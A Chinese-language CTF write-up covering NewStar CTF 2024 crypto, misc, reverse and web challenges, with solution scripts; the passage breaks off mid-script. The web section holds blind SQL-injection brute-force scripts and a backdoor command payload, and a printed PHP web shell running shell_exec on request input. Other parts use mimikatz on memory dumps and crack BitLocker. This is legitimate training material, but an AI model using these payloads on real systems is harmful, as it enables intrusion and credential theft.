NewStar CTF 2024
Crypto
Week 1
xor
flag{0ops!_you_know_XOR!}
exp
#As a freshman starting in 2024, you should know something about XOR, so this task is for you to sign in.
from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long, long_to_bytes
'''
key = b'New_Star_CTF'
flag='flag{*******************}'
m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
m2 = flag[13:]
c1 = m1 ^ bytes_to_long(key)
c2 = xor(key, m2)
print('c1=',c1)
print('c2=',c2)
'''
c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
key = b'New_Star_CTF'
m1 = c1 ^ bytes_to_long(key)
m2 = xor(key, c2)
print(long_to_bytes(m1)+m2)
Base
flag{B@sE_0f_CrYpt0_N0W}
随波逐流一键解码
一眼秒了
flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}
用yahu将n分解
得到p,q求d,然后求m
exp
from Crypto.Util.number import *
from gmpy2 import *
'''
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(flag)
e = 65537
c = powmod(m, e, n)
print(n)
print(c)
'''
n =
c =
p =
q =
e = 65537
d = invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))
#flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}
Strange King
flag{PleaseDoNotStopLearing}
密文:ksjr{EcxvpdErSvcDgdgEzxqjql}
根据题目名字猜测是凯撒密码
发现好像不是?
分析一下密文,和flag对比,发现ksjr就是flag的ASCII码+5+7+9+11
根据规律猜测是将每个文本单独进行凯撒加密
exp
def caesar_cipher(text, shift):
result = ""
# 遍历文本中的每个字符
for char in text:
# 检查字符是否为大写字母
if char.isupper():
# 找到该字符在字母表中的位置,然后减上偏移量
result += chr((ord(char) - 65 - shift) % 26 + 65)
# 检查字符是否为小写字母
elif char.islower():
# 找到该字符在字母表中的位置,然后减上偏移量
result += chr((ord(char) - 97 - shift) % 26 + 97)
else:
# 如果字符不是字母,直接添加到结果中
result += char
return result
q = 'ksjr{EcxvpdErSvcDgdgEzxqjql}'
for i in range(len(q)):
a = 2 * i + 5
shift = a
text = q[i]
encrypted_text = caesar_cipher(text, shift)
print(encrypted_text,end="")
#flag{PleaseDoNotStopLearing}
Week 2
这是几次方? 疑惑!
flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}
from Crypto.Util.number import *
import gmpy2
flag = b'flag{*****}'
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
hint = p^e + 10086
print("c =", c)
print("[n, e] =", [n, e])
print("hint =", hint)
分析源码,hint=p^e+10086
,根据优先级,hint其实是p^(e+10086)
exp
from Crypto.Util.number import *
import gmpy2
#数据自己补上
c =
n, e = [, ]
hint =
p = hint ^ e + 10086
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c,d,n)
print(long_to_bytes(m))
#flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}
Since you konw something
flag{Y0u_kn0w_th3_X0r_b3tt3r}
from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long,long_to_bytes
import base64
key = #extremely short
FLAG = 'flag{??????????????}'
c = bytes_to_long(xor(FLAG,key))
print("c={}".format(c))
分析代码得知key很短,且已知部分明文,可以用明文攻击
将密文转为bytes后再转为base64编码,利用工具获取key
获得28个密钥
一个个试过去,在第九个时获得flag
flag{Y0u_kn0w_th3_X0r_b3tt3r}
工具地址:GitHub - CyberFazaN/XOR_KPA:XOR 已知明文攻击工具
茶里茶气
flag{f14gg9_te2_1i_7ea_7}
from Crypto.Util.number import *
flag = "flag{****}"
assert len( flag ) == 25
a = ""
for i in flag:
a += hex(ord(i))[2:]
l = int(a,16).bit_length()
print("l =" , l )
v0 = int(a,16)>>(l//2)
v1 = int(a,16)-(v0<<(l//2))
p = getPrime(l//2+10)
v2 = 0
derta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
assert v1 < p and v0 < p and derta < p and v3 < p and v4 < p and v5 < p and v6 < p
for i in range(32):
v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 )
v1 %= p
v0 += (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 )
v0 %= p
v2 += derta
v2 %= p
print( "p =" , p )
print( "v0 =" , v0 )
print( "v1 =" , v1 )
分析代码:
- v0还原回来去掉多余的0就是flag的前半部分
- v1是flag后半部分
- v0 和 v1进行了tea加密
解密其实就是加换成减,顺序换一下,以及v2的值的最终值
exp
from Crypto.Util.number import *
derta = 462861781278454071588539315363
#加密时v2累加了32次derta
v2 = derta*32
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
l = 199
p = 446302455051275584229157195942211
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480
for i in range(32):
v2 -= derta
v0 -= (v1 + v2) ^ (8 * v1 + v5) ^ ((v1 >> 7) + v6)
v0 %= p
v1 -= (v0 + v2) ^ (8 * v0 + v3) ^ ((v0 >> 7) + v4)
v1 %= p
#将多余的0去掉
v0=format(v0<<l//2,"x").replace("0","")
print(v0+format(v1,"x"))
#666c61677b6631346767395f7465325f31695f3765615f377d
执行后会获得flag的hex值,转成文本就是flag
Just one and more than two
flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}
from Crypto.Util.number import *
flag = b'flag{?????}'
m1 = bytes_to_long(flag[:len(flag)//2])
m2 = bytes_to_long(flag[len(flag)//2:])
e = 65537
p, q, r= (getPrime(512) for _ in range(3))
N=p*q*r
c1 = pow(m1, e, p)
c2 = pow(m2, e, N)
print(f'p={p}\nq={q}\nr={r}\nc1={c1}\nc2={c2}')
普通的rsa,就是将flag分为两部分,一个素数因子,另一个有三个素数因子
exp
from Crypto.Util.number import *
import gmpy2
#数据自己补上
p =
q =
r =
c1 =
c2 =
e = 65537
d1 = gmpy2.invert(e,p-1)
d2 = gmpy2.invert(e,(p-1)*(q-1)*(r-1))
m1 = pow(c1,d1,p)
m2 = pow(c2,d2,p*q*r)
print(long_to_bytes(m1)+long_to_bytes(m2))
#flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}
Week 3
没e这能玩?
flag{th1s_2s_A_rea119_f34ggg}
from Crypto.Util.number import *
import random
import sympy
import gmpy2
m = bytes_to_long(b'flag{*****}')
p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
h1 = 1*p + 1*q + 1*r
h2 = 2*p + 3*q + 3*r
h3 = 9*p + 9*q + 6*r
print( "hint_of_pqr=" , h1 , h2 , h3 )
e = getPrime(64)
a_big_prime = getPrime( 512 )
hint = pow(a_big_prime,e,2**512)
print( "big_prime is: " , a_big_prime )
print( "hint is: " , hint )
#print(e)
n = p*q*r
c = pow( m , e , n )
print( "c=" , c )
给了h1,h2,h3,利用z3模块算出p,q,r
from z3 import *
s = Solver()
p,q,r = Ints('p q r')
s.add(p + q + r == h1)
s.add(2*p + 3*q + 3*r == h2)
s.add(9*p + 9*q + 6*r == h3)
s.check()
print(s.model())
有了p,q,r就能算出phi,题目没给e,但给了hint = pow(a_big_prime,e,2**512)
这是一个离散对数问题,可以利用 SageMath 中的 discrete_log
函数来求e。
exp
from Crypto.Util.number import *
import gmpy2
big_prime =
hint =
modulus = 2**512
e = int(discrete_log(Mod(hint, modulus), Mod(big_prime, modulus)))
p =
q =
r =
n = p * q * r
c =
phi = (q-1)*(p-1)*(r-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(int(m)))
#b'flag{th1s_2s_A_rea119_f34ggg}'
Week 5
没e也能玩
flag{No_course_e_can_play}
from Crypto.Util.number import *
from gmpy2 import *
import libnum
p = getPrime(1024)
q = getPrime(1024)
d = inverse(65537,(p-1)*(q-1))
dp = d % (p-1)
dq = d % (q-1)
print(f'c={pow(bytes_to_long(flag),e,p*q)}')
print(f'p={p}')
print(f'q={q}')
print(f'dp={dp}')
print(f'dq={dq}')
已知dp,dq,p,q,c,经典的dpdq泄露
exp
def decrypt(dp, dq, p, q, c):
InvQ = gmpy2.invert(q, p)
mp = pow(c, dp, p)
mq = pow(c, dq, q)
m = (((mp - mq) * InvQ) % p) * q + mq
print(mp - mq)
print(libnum.n2s(int(m)).decode())
#flag{No_course_e_can_play}
格格你好棒
flag{u_are_@_master_of_latt1ce_Crypt0gr@phy}
from Crypto.Util.number import *
import random
flag = b'******'
m = bytes_to_long(flag)
a = getPrime(1024)
b = getPrime(1536)
p = getPrime(512)
q = getPrime(512)
r = random.randint(2**8, 2**9)
print(r)
assert ((p+2*r) * 3*a + q) % b < 70
c = pow(m, 0x10001, p*q)
print(f'c =', c)
print(f'a =', a)
print(f'b =', b)
根据提示知道是格密码
推导一下
$$ ((p+2*r)*3*a+q)\quad mod\quad b = x \\ (p+2*r)*3*a+k*b = (x-q) $$
exp
from Crypto.Util.number import *
import random
c = 75671328500214475056134178451562126288749723392201857886683373274067151096013132141603734799638338446362190819013087028001291030248155587072037662295281180020447012070607162188511029753418358484745755426924178896079516327814868477319474776976247356213687362358286132623490797882893844885783660230132191533753
a = 99829685822966835958276444400403912618712610766908190376329921929407293564120124118477505585269077089315008380226830398574538050051718929826764449053677947419802792746249036134153510802052121734874555372027104653797402194532536147269634489642315951326590902954822775489385580372064589623985262480894316345817
b = 2384473327543107262477269141248562917518395867365960655318142892515553817531439357316940290934095375085624218120779709239118821966188906173260307431682367028597612973683887401344727494920856592020970209197406324257478251502340099862501536622889923455273016634520507179507645734423860654584092233709560055803703801064153206431244982586989154685048854436858839309457140702847482240801158808592615931654823643778920270174913454238149949865979522520566288822366419746
r = random.randint(2**8, 2**9)
Ge = Matrix(ZZ, [[1, 3*a],
[0, b]])
p, q = Ge.LLL()[0]
#先变成绝对值
p, q = abs(p), abs(q)
#((p+2*r) * 3*a + q) % b < 70
#开始爆破
for r in range (2 ** 8, 2 ** 9):
for h in range(70):
pp = p - 2*r
qq = q + h
phi = (pp - 1) * (qq - 1)
if gcd(phi, 65537) != 1:
continue
m = power_mod(c, inverse_mod(65537, phi), pp * qq)
if b"flag" in long_to_bytes(m):
print(long_to_bytes(m))
#flag{u_are_@_master_of_latt1ce_Crypt0gr@phy}
exit(0)
easy_ecc
flag{This_is_the_last_crypto_}
from Crypto.Util.number import * # type: ignore
p = 64408890408990977312449920805352688472706861581336743385477748208693864804529
a = 111430905433526442875199303277188510507615671079377406541731212384727808735043
b = 89198454229925288228295769729512965517404638795380570071386449796440992672131
E = EllipticCurve(GF(p),[a,b])
m = E.random_point()
G = E.random_point()
k = 86388708736702446338970388622357740462258632504448854088010402300997950626097
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
c_left =bytes_to_long(flag[:len(flag)//2]) * m[0]
c_right = bytes_to_long(flag[len(flag)//2:]) * m[1]
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"cipher_left = {c_left}")
print(f"cipher_right = {c_right}")
已知:
- K = k * G
- c1 = m + r * K
- c2 = r * G
那么m = c1 - k * c2
exp
from Crypto.Util.number import * # type: ignore
p = 64408890408990977312449920805352688472706861581336743385477748208693864804529
a = 111430905433526442875199303277188510507615671079377406541731212384727808735043
b = 89198454229925288228295769729512965517404638795380570071386449796440992672131
E = EllipticCurve(GF(p),[a,b])
k = 86388708736702446338970388622357740462258632504448854088010402300997950626097
c1 = E([10968743933204598092696133780775439201414778610710138014434989682840359444219,50103014985350991132553587845849427708725164924911977563743169106436852927878])
c2 = E([16867464324078683910705186791465451317548022113044260821414766837123655851895,35017929439600128416871870160299373917483006878637442291141472473285240957511])
c_left = 15994601655318787407246474983001154806876869424718464381078733967623659362582
c_right = 3289163848384516328785319206783144958342012136997423465408554351179699716569
m = c1 - k * c2
m1=c_left//m[0]
m2=c_right//m[1]
print(long_to_bytes(int(m1))+long_to_bytes(int(m2)))
#b'flag{This_is_the_last_crypto_}'
RSA?cmd5!
flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}
from Crypto.Util.number import *
from gmpy2 import *
import hashlib
# 什么?你说你用md5给rsa签名了?!
m = '*******'
assert len(m) == 7
flag = 'flag{th1s_1s_my_k3y:' + m + '0x' + hashlib.sha256(m.encode()).hexdigest() + '}'
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
def get_MD5(m0):
import hashlib
md5_object = hashlib.md5(m0.encode())
md5_result = md5_object.hexdigest()
return md5_result
def get_s(m0, d0, n0):
hm0 = get_MD5(m0)
hm1 = bytes_to_long(hm0.encode())
s0 = pow(hm1, d0, n0)
return s0
def rsa_encode(m0, e0, n0):
m1 = bytes_to_long(m0.encode())
c0 = pow(m1, e0, n0)
return c0
def get_flag(m0): # 请用这个函数来转m得到flag
import hashlib
flag = 'flag{th1s_1s_my_k3y:' + m0 + '0x' + hashlib.sha256(m0.encode()).hexdigest() + '}'
print(flag)
s = get_s(m, d, n)
c = rsa_encode(flag, e, n)
print("密文c =", c)
print("签名s =", s)
print("公钥[n,e] =", [n, e])
分析get_s函数:
- 先将m转为md5值
- 再将md5值通过bytes_to_long转为整型
- 再用d进行rsa加密
他用d进行加密,那就能用e进行解密
exp
from Crypto.Util.number import *
c =
s =
n,e = [, 65537]
m0 = pow(s, e, n)
print(long_to_bytes(m0))
#b'86133884de98baada58a8c4de66e15b8'
获得了m的md5值86133884de98baada58a8c4de66e15b8
通过在线环境查询到对应的文本为adm0n12
,利用他自带的get_flag函数生成flag
获得flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}
Misc
Week 1
兑换码
flag{La_vaguelette}
改下高度就行
pleasingMusic
flag{ez_morse_code}
根据题目反向一下,看起来像一段摩斯密码
. --.. ..--.- -- --- .-. ... . ..--.- -.-. --- -.. .
解密获得:
ez_morse_code
Labyrinth
flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}
用StegSolve
打开,在Red plane 0
处发现二维码
扫码获得flag
decompress
flag{U_R_th3_ma5ter_0f_dec0mpress}
将压缩包解压到最后,获得两个文件
一个加密的压缩包和喵密码的提示,根据提示得知密码为5位,前三位和最后一位为小写字母,第四位为数字
爆破获得密码,解压获得flag
WhereIsFlag
flag{6060411e-80da-40ab-8820-0115c88ba7b7}
Week 2
wireshark_checkin
flag{ez_traffic_analyze_isn't_it}
文件->导出对象->HTTP对象列表
将flag.txt保存,打开获得flag
wireshark_secret
flag{you_are_gooddddd}
文件->导出对象->HTTP对象列表
将secret.png保存下来,打开就能看到flag
热心助人的小明同学
flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}
查看镜像信息
python2 vol.py -f image.raw imageinfo
mimikatz 脚本文件下载地址
链接:https://pan.baidu.com/s/1HS65N4UXfuzChB9UU9vveA
提取码:fywk
然后将这个脚本文件移动到 /volatility/plugins 目录下
使用 mimikatz 插件提取密码
python2 vol.py -f image.raw --profile=Win7SP0x86 mimikatz
获得密码:ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh
用溯流仪见证伏特台风
flag{6c3ea51b6f9d4f5e}
百度搜索福特台风威胁盟报告,找到图片
直接读获得:powerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion
16位md5:6c3ea51b6f9d4f5e
你也玩原神吗
flag{maybegenshinisagoodgame}
将gif进行分离获得:
对照表:
![image-20241006232221416](C:\Users\Asuter\Desktop\CTF解题\NewStar CTF 2024\2\assets\image-20241006232221416.png
搞半天中间那一堆啥也不是
DO YOU KNOW FENCE
:左下角提示是栅栏密码
MESIOAABGNHNSGOGMYEIADE
:右下角就是密文
栅栏解密获得:
MAYBEGENSHINISAGOODGAME
因为是一串标准英文最像flag
提交发现不对,改为小写,提交就正确了
flag{maybegenshinisagoodgame}
字里行间的秘密
flag{you_h4ve_4nyth1n9}
vim打开key.txt
零宽解密
拿到key:it_is_k3y
用key打开文档
估计藏有隐藏字符或是白色的字,全选将背景改为黑色,发现flag
Herta's Study
flag{sH3_i4_S0_6eAut1fuL.}
追踪HTTP流
拿到php源码
<?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(
base64_decode('J'.str_rot13('T').'5z'),
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
);
echo $bbb($payload);
?>
有部分源码加密了,解密获得
$ns
$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
if($i%2==1){
$ns[$i]=str_rot13($ns[$i]);
这部分源码的功能就是将执行结果进行base64编码,再将i%2==1
的部分进行rot13编码
经过测试flag的密文在这
exp
import base64
def rot13(text):
result = ""
for char in text:
if 'a' <= char <= 'z':
result += chr((ord(char) - ord('a') + 13) % 26 + ord('a'))
elif 'A' <= char <= 'Z':
result += chr((ord(char) - ord('A') + 13) % 26 + ord('A'))
else:
result += char
return result
Cipher=list("ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==")
for i in range(len(Cipher)):
if i%2==1:
Cipher[i]=rot13(Cipher[i])
text = ""
for i in Cipher:
text += i
print(base64.b64decode(text))
#flag{sH3_i4_S0_6eAut1fuL.}
Week 3
BGM坏了么
flag{2024093020241103}
根据题目提示说有拨号声,说的应该是这里,上面那一段应该是杂音
分离立体声轨,将上面那部分删了
只有后面那段有拨号,将多余的部分删除
另存为下来,使用dtmf2num工具识别拨号音,flag就是圈的部分
Week 4
扫码领取flag
flag{Then_d0_you_kn0w_w6at_Hanx1n_cod3_1s?}
用010查看每个文件,发现其实都是png
后缀全改为png,打开图片发现不对,宽高可能被修改,CRC爆破出正确宽高为250,修改为250即可
获得四个二维码的一部分,组合获得完整二维码
这好像不是寻常的二维码,查了下是Aztec
,用在线工具获得flag
擅长加密的小明同学
flag{5ZCb44Gv5Y+W6K+B5pys5b2T44Gr5LiK5omL}
python2 vol.py -f chal.raw --profile=Win7SP1x64 pslist
经过查询 mspaint.exe是画图工具,用指令提取出来
python2 vol.py -f chal.raw --profile=Win7SP1x64 memdump -p 2804 -D ./
将文件转到本地,将后缀改为data,用gimp
打开,参数如下
调好参数后,点击打开,获得密码:rxnifbeiyomezpplugho
Secret.vhd用bitlocker加密了,附件给了内存镜像
用StarWind V2V Converter
将Secret.vhd转为.img格式
转换完后用Passware Kit Forensic
进行破解密码
获得恢复密钥:142593-710886-423500-433763-213499-455807-632885-152152
通过恢复密钥打开vhd
里面有个压缩包,加密了,密码就说之前画图工具上的字符,输入密码后获得flag.txt文件,打开获得flag
Reverse
Week 1
begin
flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}
IDA打开附件
获得part1:flag{Mak3_aN_
Shift+F12 获得part2:3Ff0rt_tO_5eArcH_
part3:F0r_th3_f14g_C0Rpse
拼接获得flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}
base
flag{y0u_kn0w_base64_well}
IDA打开,查看字符串,根据题目以及字符串分析应该是换码表Base64解码
码表:WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/
密文:g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=
Simple_encryption
flag{IT_15_R3Al1y_V3Ry-51Mp1e}
用IDA打开附件
分析伪代码:
- 读取用户输入的字符串,长度为len
- 当j%3=0时input[j]-31
- 当j%3=1时input[j]+41
- 当j%3=2时input[j]^0x55
- 最后判断input是否与buffer相等
提取buffer,双击变量,按Shift+E
exp
unsigned_char_buffer =[
0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16,
0x88, 0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C,
0x07, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28
]
for j in range(len(unsigned_char_buffer)):
if j % 3 == 0:
unsigned_char_buffer[j] += 31
elif j % 3 == 1:
unsigned_char_buffer[j] -= 41
elif j % 3 == 2:
unsigned_char_buffer[j] ^= 0x55
for i in unsigned_char_buffer:
print(chr(i),end="")
#flag{IT_15_R3Al1y_V3Ry-51Mp1e}
ezAndroidStudy
flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
反编译apk,获得提示flag分成了五份
part1:flag{Y0u
part2:_@r4
part3:_900d
part4:_andr01d
part5:_r4V4rs4r}
IDA打开libezandroidstudy.so获得最后一部分
拼接获得flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
Week 2
UPX
flag{Do_you_know_UPX?}
查壳
脱壳
IDA打开脱壳后的程序
分析源码得知是rc4加密
key是NewStar
双击data,按ctrl+x,再按tap,获得data数据
exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void swap(unsigned char *a, unsigned char *b) {
unsigned char temp = *a;
*a = *b;
*b = temp;
}
void rc4_init(unsigned char *sbox, unsigned char *key, int keylen) {
int i, j, k;
for (i = 0; i < 256; i++) {
sbox[i] = i;
}
j = 0;
for (i = 0; i < 256; i++) {
j = (j + sbox[i] + key[i % keylen]) % 256;
swap(&sbox[i], &sbox[j]);
}
}
void rc4_crypt(unsigned char *sbox, unsigned char *data, int datalen) {
int i, j, k;
i = j = 0;
for (k = 0; k < datalen; k++) {
i = (i + 1) % 256;
j = (j + sbox[i]) % 256;
swap(&sbox[i], &sbox[j]);
int rnd = sbox[(sbox[i] + sbox[j]) % 256];
data[k] ^= rnd;
}
}
int main() {
unsigned char key[] = "NewStar";
unsigned char data[] = {-60,96,-81,-71,-29,-1,46,-101,-11,16,86,81,110,-18,95,125,125,110,43,-100,117,-75};
int keylen = strlen((char *)key);
int datalen = strlen((char *)data);
unsigned char sbox[256];
rc4_init(sbox, key, keylen);
rc4_crypt(sbox, data, datalen);
printf("Encrypted data: ");
for (int i = 0; i < datalen; i++) {
printf("%c", data[i]);
}
#flag{Do_you_know_UPX?}
return 0;
}
Web
Week 1
会赢么
flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
查看页面源代码获得第一部分:ZmxhZ3tXQTB3
访问第一部分的提示,根据指示来到控制台,查看页面源代码知道js函数
执行js获得第二部分:IV95NF9yM2Fs
访问提示
根据js代码将图中部分改成解封并点击按钮获得第三部分:MXlfR3I0c1B
访问提示的地址,查看页面源代码,点击会赢的没用,看到了
禁用js后刷新界面,出现了无量空出按钮,点击获得最后一部分:fSkpKcyF9
拼接获得:ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9
解码获得:flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
headach3
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}
查看响应头获得flag
智械危机
flag{62f5fd4d-dac0-48b9-9946-4926fdcfd5b0}
根据提示访问robots.txt,获得一个后门地址
访问地址
分析代码:
- 变量有cmd和key
- 将key进行base64解码
- 将解码后的key与反转后的cmd的md5值进行判断
- 判断相等则执行system
payload
cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=
谢谢皮蛋
flag{d04faef6-aef4-4d24-9907-765f717126b5}
访问网页,估计是考sql注入,查看页面源代码获得了提示页
获得提示:$sql="SELECT uname,position FROM hexo WHERE id=$id LIMIT 0,1";
存在很明显的安全问题,提示说是用联合注入,弄半天没回显,干脆盲注算了
输入1 and 1=1
会有回显,输入1 and 1=2
下面的字符消失,可以布尔注入
爆表名
import base64
import requests
url = " http://eci-2zefpks540w9fi3vo6hd.cloudeci1.ichunqiu.com"
i = 0
for i in range(1,100):
for s in range(40,128):
o = "1 and ASCII(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))={s} -- ".format(i=i,s=s)
payload={
"id" : base64.b64encode(o.encode('utf-8')).decode('utf-8'),
}
r = requests.post(url, data=payload)
if "CHAMBER" in r.text:
print(chr(s),end="")
break
获得两个表名:Fl4g
和hexo
很显然flag在Fl4g
表
爆列名
o = "1 and ASCII(SUBSTR((select column_name from information_schema.columns where table_name='Fl4g' limit 0,1),{i},1))={s} -- ".format(i=i, s=s)
获得三个列名:id
和des
和value
数据库名是ctf
最后爆破出flag在value
import base64
import requests
url = " http://eci-2zefpks540w9fi3vo6hd.cloudeci1.ichunqiu.com"
i = 0
for i in range(1,100):
for s in range(40,128):
o = "1 and ASCII(SUBSTR((select value from ctf.Fl4g limit 0,1),{i},1))={s} -- ".format(i=i,s=s)
payload={
"id" : base64.b64encode(o.encode('utf-8')).decode('utf-8'),
}
r = requests.post(url, data=payload)
if "CHAMBER" in r.text:
print(chr(s),end="")
if chr(s) == "}":
exit(0)
break
PangBai 过家家(1)
flag{c513cd73-a8b5-4e2b-9171-b9b20bd50384}
根据第一关的提示找到了第二关的入口
GET请求传入参数ask=miao就进入第三关了
根据提示用POST请求
进入第四关
User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Papa/51.0.2704.103 Safari/537.36
say=玛卡巴卡阿卡哇卡米卡玛卡呣
进入第五关
payload
PATCH /?ask=miao HTTP/1.1
Host: 39.106.48.123:44208
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Origin: http://39.106.48.123:44208
Priority: u=0, i
Referer: http://39.106.48.123:44208/?ask=miao
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Papa/51.0.2704.103 Safari/537.36
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.HDqDwu00zHB419YHtWyIuZXgCKyzcgWGOS61FqmtxWA
Content-Length: 215
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="123.zip"
Content-Type: application/zip
UEsDBBQAAAAAALadQVnSY0iIAwAAAAMAAAAHAAAAMTIzLnR4dDEyM1BLAQIUABQAAAAAALadQVnSY0iIAwAAAAMAAAAHACQAAAAAAAAAIAAAAAAAAAAxMjMudHh0CgAgAAAAAAABABgARnGgcfcT2wEn4ERy9xPbAf3wgGX3E9sBUEsFBgAAAAABAAEAWQAAACgAAAAAAA==
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="say"
玛卡巴卡阿卡哇卡米卡玛卡呣
----WebKitFormBoundary7MA4YWxkTrZu0gW
进入第六关
X-Forwarded-For: localhost
拿到了jwt的密钥,用来构造jwt,不过好像没有第七关,反而发现了第零关
点击从梦中醒来拿到flag
Week 2
你能在一秒内打出八句英文吗
flag{1a448088-b5dc-45c4-ae87-85ec6196d268}
他禁止复制粘贴了,要用python来完成
exp
import requests
from bs4 import BeautifulSoup
url = "http://eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com/start"
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Cookie": "Hm_lvt_2d0601bd28de7d49818249cf35d95943=1727168116; session=.eJxFkMFOwzAMQH_FyhlVULZS7QvYnTsyrUtD07iy3Y2C-HfM2opDDkme3nPyHdRQ7NXiSOH08FTW1bGqq_uiLsvD4fF4F4w-LZzCMwHlD14U-jjE_A4xg_UEI8_ZMGYt4MW3DRqoL95u0dZzceSNrwo4TYRCLWBnJDdIjWUs4AzGPABCYtdfMQ17gy6UPflvgo5SAuXO0rKnhLnbZkg8twqtRE-0kPArOoaNsOoaHJaVtJsMReLFwT-Rf0MB_tZtlIzT7m94bvoi_PwCm6hoyw.Zwk13A.tiCzyox15AfmR_rtNY0bBRThUho",
"Host": "eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
}
session = requests.session()
response = session.get(url, headers=headers)
soup=BeautifulSoup(response.text,'lxml')
text = soup.find("p").text
url = "http://eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com/submit"
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com",
"Origin": "http://eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com",
"Referer": "http://eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com/start",
"Upgrade-Insecure-Requests": "1",
